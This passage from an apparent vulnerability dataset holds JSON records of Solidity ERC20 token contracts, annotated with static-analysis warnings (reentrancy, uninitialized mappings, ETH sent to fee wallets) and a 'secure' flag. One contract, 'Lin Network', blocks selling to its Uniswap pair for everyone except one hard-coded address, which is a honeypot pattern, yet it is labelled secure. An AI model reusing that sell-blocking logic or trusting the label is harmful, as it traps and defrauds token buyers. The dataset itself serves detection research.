amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 38f53e5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 38f53e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 56ac1cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 56ac1cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d6636b2): HAPPYCAT.bots is never initialized. It is used in HAPPYCAT._transfer(address,address,uint256)\n\t// Recommendation for d6636b2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 896b2f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 896b2f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n _feeAddr1 = 0;\n _feeAddr2 = _standardTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0\n ) {\n\t\t\t\t// reentrancy-events | ID: 38f53e5\n\t\t\t\t// reentrancy-benign | ID: 56ac1cf\n\t\t\t\t// reentrancy-eth | ID: 896b2f8\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 38f53e5\n\t\t\t\t\t// reentrancy-eth | ID: 896b2f8\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: 38f53e5\n\t\t// reentrancy-benign | ID: 56ac1cf\n\t\t// reentrancy-eth | ID: 896b2f8\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: a4bc999\n\t\t// reentrancy-events | ID: 38f53e5\n\t\t// reentrancy-benign | ID: 449d5b1\n\t\t// reentrancy-benign | ID: 56ac1cf\n\t\t// reentrancy-eth | ID: 896b2f8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 323c87f): HAPPYCAT.setStandardTax(uint256) should emit an event for _standardTax = newTax \n\t// Recommendation for 323c87f: Emit an event for critical parameter changes.\n function setStandardTax(uint256 newTax) external onlyOwner {\n require(newTax < _standardTax);\n\t\t// events-maths | ID: 323c87f\n _standardTax = newTax;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 15e7b99): HAPPYCAT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for 15e7b99: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a4bc999\n\t\t// reentrancy-events | ID: 38f53e5\n\t\t// reentrancy-eth | ID: 896b2f8\n\t\t// arbitrary-send-eth | ID: 15e7b99\n _feeAddrWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9b3dc71): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9b3dc71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ae1585f): HAPPYCAT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ae1585f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ed5f04): HAPPYCAT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0ed5f04: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9377c0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9377c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 9b3dc71\n\t\t// reentrancy-eth | ID: f9377c0\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 9b3dc71\n\t\t// unused-return | ID: ae1585f\n\t\t// reentrancy-eth | ID: f9377c0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 9b3dc71\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 9b3dc71\n cooldownEnabled = true;\n\n\t\t// reentrancy-eth | ID: f9377c0\n tradingOpen = true;\n\t\t// unused-return | ID: 0ed5f04\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 896b2f8\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 896b2f8\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 38f53e5\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 896b2f8\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 896b2f8\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 56ac1cf\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}", "file_name": "solidity_code_2388.sol", "secure": 0, "size_bytes": 18337 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x95032763c4dA09Eb1D45d1CFcdbF66c5C26f1200,\n 1000000000 * 10 ** 18\n );\n _enable[0x95032763c4dA09Eb1D45d1CFcdbF66c5C26f1200] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Lin Network\";\n _symbol = \"LIN\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_2389.sol", "secure": 1, "size_bytes": 5998 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e528db3): PEDRO.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for e528db3: Consider ordering multiplication before division.\ncontract PEDRO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ee1f573): PEDRO.bots is never initialized. It is used in PEDRO._transfer(address,address,uint256)\n\t// Recommendation for ee1f573: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 453b1a0): PEDRO._taxWallet should be immutable \n\t// Recommendation for 453b1a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isWhitelisted;\n\n\t// WARNING Optimization Issue (constable-states | ID: aff0c01): PEDRO._initialBuyTax should be constant \n\t// Recommendation for aff0c01: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd648b9): PEDRO._initialSellTax should be constant \n\t// Recommendation for cd648b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 458b664): PEDRO._finalBuyTax should be constant \n\t// Recommendation for 458b664: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa5b185): PEDRO._finalSellTax should be constant \n\t// Recommendation for fa5b185: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aca5f40): PEDRO._preventSwapBefore should be constant \n\t// Recommendation for aca5f40: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint256 public _tradingActiveBlock = 0;\n\n uint256 public _reduceTaxAt;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = \"Pedro the Raccoon\";\n\n string private constant _symbol = \"PEDRO\";\n\n\t// divide-before-multiply | ID: 24bae5f\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: cb0a1a1\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: b34421e): PEDRO._taxSwapThreshold should be constant \n\t// Recommendation for b34421e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: e528db3\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 034a1b8): PEDRO._maxTaxSwap should be constant \n\t// Recommendation for 034a1b8: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 381b050\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n event WhitelistedWallet(address _wallet, bool flag);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xdAE86d59D7d1db32938cAeEcde8F4B6689D122D5);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isWhitelisted[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eb9d73b): PEDRO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for eb9d73b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 853274d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 853274d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4fc1137): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4fc1137: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 853274d\n\t\t// reentrancy-benign | ID: 4fc1137\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 853274d\n\t\t// reentrancy-benign | ID: 4fc1137\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b42c943): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b42c943: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ee1f573): PEDRO.bots is never initialized. It is used in PEDRO._transfer(address,address,uint256)\n\t// Recommendation for ee1f573: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 17d0c4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 17d0c4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from != address(this) &&\n to != address(this) &&\n !_isWhitelisted[from] &&\n !_isWhitelisted[to]\n ) {\n require(tradingOpen, \"trading is not open\");\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (block.number > _reduceTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !_isWhitelisted[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (block.number > _reduceTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (block.number > _reduceTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b42c943\n\t\t\t\t// reentrancy-eth | ID: 17d0c4b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b42c943\n\t\t\t\t\t// reentrancy-eth | ID: 17d0c4b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 17d0c4b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 17d0c4b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 17d0c4b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b42c943\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 17d0c4b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 17d0c4b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b42c943\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 699af53): PEDRO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 699af53: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4fc1137\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 853274d\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b42c943\n\t\t// reentrancy-events | ID: 853274d\n\t\t// reentrancy-benign | ID: 4fc1137\n\t\t// reentrancy-eth | ID: 17d0c4b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function whiteListWallet(address _wallet, bool flag) external onlyOwner {\n _isWhitelisted[_wallet] = flag;\n\n emit WhitelistedWallet(_wallet, flag);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 59ca899): PEDRO.addLiquidityAndCreatePair() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 59ca899: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2928b17): PEDRO.addLiquidityAndCreatePair() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2928b17: Ensure that all the return values of the function calls are used.\n function addLiquidityAndCreatePair() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 2928b17\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 59ca899\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n\n _tradingActiveBlock = block.number;\n\n _reduceTaxAt = _tradingActiveBlock + 5;\n }\n\n function renounceOwnership() public override onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n\n super.renounceOwnership();\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b42c943\n\t\t// reentrancy-events | ID: 853274d\n\t\t// reentrancy-eth | ID: 17d0c4b\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_239.sol", "secure": 0, "size_bytes": 17863 }
